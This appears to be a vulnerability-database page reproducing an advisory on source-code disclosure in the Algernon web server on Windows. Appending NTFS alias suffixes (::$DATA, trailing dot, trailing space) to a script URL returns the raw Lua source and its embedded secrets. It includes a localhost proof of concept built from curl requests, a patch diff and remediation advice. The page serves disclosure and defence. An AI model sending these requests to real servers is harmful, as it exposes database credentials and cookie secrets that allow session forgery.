Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Single unauthenticated HTTP request exploits the flaw with no complexity; only confidentiality is impacted by the disclosure itself, with no integrity or availability effect.
Primary rating from Vendor (https://github.com/xyproto/algernon).
CVSS VectorVendor: https://github.com/xyproto/algernon
Lifecycle Timeline
5DescriptionCVE.org
Summary
Algernon selects its file handler from filepath.Ext() (engine/handlers.go:134), which does not treat the NTFS-equivalent names x.lua::$DATA, x.lua., or x.lua as .lua. On Windows, an unauthenticated client appends one of these suffixes to any server-side script on a public path and receives its raw source instead of executed output, leaking embedded secrets such as database credentials and the SetCookieSecret value.
Linux and macOS hosts are unaffected.
Preconditions
- Algernon runs on a Windows host (NTFS filesystem).
- The instance serves at least one server-side script (
.lua,.tl,.po2,.amber,.frm). - The script sits on a public path, or no auth backend is configured (
--nodb,--simple, or default no-DB). - HTTP/HTTPS reachability to the server.
Details
// engine/handlers.go:133
lowercaseFilename := strings.ToLower(filename)
ext := filepath.Ext(lowercaseFilename) // "index.lua::$data" -> ".lua::$data", not ".lua" [offending]
...
if ac.dispatchRenderer(w, req, filename, ext) { // ext unrecognised, returns false
return
}
switch ext {
case ".lua", ".tl": // execute the script -- never reached for the equivalent forms
// ... RunLua ...
default:
// control reaches the raw-file branch below
}// engine/handlers.go:452
f, err := os.Open(filename) // NTFS resolves "index.lua::$DATA" to index.lua's data stream
...
// engine/handlers.go:479
if dataBlock, err := ac.ReadAndLogErrors(w, filename, ext); err == nil {
dataBlock.ToClient(w, req, filename, ac.ClientCanGzip(req), gzipThreshold) // raw source to client
}The request path reaches FilePage through URL2filename (utils/files.go:24), which rejects only ..; a :, a trailing ., and a trailing space all pass through into filename. filepath.Ext does an exact suffix match, so .lua::$data, ., and .lua are not equal to .lua or .tl. The renderer registry and the execute case are both skipped and control falls to the default branch.
The default branch opens filename with os.Open and streams the bytes verbatim. On Windows, NTFS canonicalises the alternate-data-stream suffix ::$DATA, a trailing dot, and a trailing space back to the underlying file, so the bytes returned are the real script source. The missing check: Algernon never rejects or canonicalises Windows-equivalent filenames before choosing a handler.
Proof of concept
Setup
- Build Algernon from source on a Windows host:
git clone https://github.com/xyproto/algernon
cd algernon
git checkout v1.17.8
go build -o algernon.exe .- Create a web root with a script that embeds secrets, exactly as a real handler would:
New-Item -ItemType Directory webroot | Out-Null
Set-Content webroot\index.lua @'
-- db = POSTGRES("postgres://app:S3cr3t@db/prod")
SetCookieSecret("hardcoded-session-key")
print("<h1>hello</h1>")
'@- Serve the directory over plain HTTP with no auth backend (run in its own window):
.\algernon.exe --httponly --noninteractive --nodb --addr ':8088' --dir .\webrootExploit
- Request the script normally. It executes, and the source is not disclosed:
curl.exe -s http://127.0.0.1:8088/index.luaExpected: <h1>hello</h1>. The DSN and cookie secret are absent from the response.
- Request the same script through its NTFS
::$DATAstream. Algernon returns the raw source:
curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua::$DATA'Expected: HTTP 200, Content-Type: application/octet-stream, body is the verbatim Lua source including SetCookieSecret("hardcoded-session-key") and the Postgres DSN.
- The trailing-dot and trailing-space forms leak the same source:
curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua.'
curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua%20'Expected: identical raw-source response for both.
Impact
- Confidentiality: Reads the verbatim source of any public-path server-side script, exposing hardcoded DB credentials, API keys, and
SetCookieSecret(...)values. - Authentication: A disclosed
SetCookieSecretvalue lets an unauthenticated attacker forge session cookies and log in as any user.
Suggestions to fix
> _This has not been tested - it is illustrative only._
Reject request paths whose final segment uses a Windows-equivalent form (alternate data stream, trailing dot, or trailing space) before extension dispatch.
func (ac *Config) FilePage(w http.ResponseWriter, req *http.Request, filename, luaDataFilename string) {
+ // Reject Windows filename-equivalent forms that alias a different file
+ // than filepath.Ext sees (e.g. "x.lua::$DATA", "x.lua.", "x.lua ").
+ if base := filepath.Base(filename); strings.ContainsRune(base, ':') ||
+ strings.HasSuffix(base, ".") || strings.HasSuffix(base, " ") {
+ http.NotFound(w, req)
+ return
+ }
if ac.quitAfterFirstRequest {
go ac.quitSoon("Quit after first request", defaultSoonDuration)
}AnalysisAI
Server-side script source disclosure in Algernon web server on Windows allows unauthenticated remote attackers to retrieve verbatim script source by appending NTFS filename-equivalent suffixes (::$DATA, trailing dot, trailing space) to any public-path script URL. Algernon versions 1.17.8 and earlier are affected when deployed on Windows/NTFS; Linux and macOS are entirely unaffected. A detailed proof-of-concept is included in the GitHub Security Advisory GHSA-mm6c-5j6x-hq8m, and successful exploitation leaks embedded database credentials and SetCookieSecret values - enabling secondary authentication bypass through session cookie forgery.
Technical ContextAI
CWE-69 (Improper Handling of Windows Device Names) describes the root cause class: Algernon's file handler dispatch in engine/handlers.go:134 calls filepath.Ext() on the raw request-derived filename without first normalizing Windows NTFS filename equivalences. NTFS treats x.lua::$DATA (alternate data stream specifier), x.lua. (trailing dot), and x.lua followed by a space (trailing space) as aliases for x.lua at the kernel level, but Go's filepath.Ext() performs a simple string suffix match and returns the non-.lua extension fragments. The URL-to-filename translator (utils/files.go:24, URL2filename) only rejects path traversal via .., leaving all three alias forms unblocked. Handler dispatch falls through to the default raw-file branch, which calls os.Open(filename); on Windows, NTFS canonicalizes the alias back to the underlying file and the raw bytes are streamed to the client. Affected package: pkg:go/github.com/xyproto/algernon, versions at or below 1.17.8.
RemediationAI
Upgrade Algernon to version 1.17.9, which adds a guard at the top of FilePage that rejects any request whose final path segment contains a colon, ends with a dot, or ends with a space - blocking all three NTFS equivalence forms. The patched release is at https://github.com/xyproto/algernon/releases/tag/v1.17.9 and the fix commit is at https://github.com/xyproto/algernon/commit/a6b0724928a0c35a29640b18ad5bd547f5e2efa6. If an immediate upgrade is not possible, placing a reverse proxy (nginx, IIS URL Rewrite) in front of Algernon configured to block request paths containing :: characters, paths whose final segment ends in a literal dot before query parameters, or URL-encoded trailing spaces (%20 at path-segment end) provides a compensating control - overly broad regex rules may block legitimate requests and require careful testing before deployment. The cleanest zero-downtime mitigation for operators who cannot patch is migrating the Algernon instance to Linux or macOS, where the NTFS equivalence mechanism does not exist. Regardless of patching timeline, any credentials or secrets embedded in server-side scripts (database DSNs, SetCookieSecret values) should be rotated immediately if exposure cannot be ruled out.
More in PostgreSQL
View allPostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() improperl
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
Argument injection vulnerability in PostgreSQL 9.2.x before 9.2.4, 9.1.x before 9.1.9, and 9.0.x before 9.0.13 allows re
Unauthenticated arbitrary file write in Splunk Enterprise (below 10.2.4 and 10.0.7) and Splunk Cloud Platform (below 10.
Unauthenticated SQL injection in Sangoma Switchvox SMB Edition 8.3 (build 104997) lets remote attackers execute arbitrar
PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to incorrect authentication flaw allow
The build_tablename function in pgsql.c in the PostgreSQL (aka pgsql) extension in PHP through 5.6.7 does not validate t
A vulnerability in the h2oai/h2o-3 REST API versions 3.46.0.4 allows unauthenticated remote attackers to execute arbitra
In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_serve
Unauthenticated SQL injection in Vendure Shop API allows remote attackers to execute arbitrary SQL commands against the
Parse Server is an open source http web server backend. Rated critical severity (CVSS 10.0), this vulnerability is remot
Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al
Same technique Information Disclosure
View allVendor StatusVendor
SUSE
| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-62506
GHSA-mm6c-5j6x-hq8m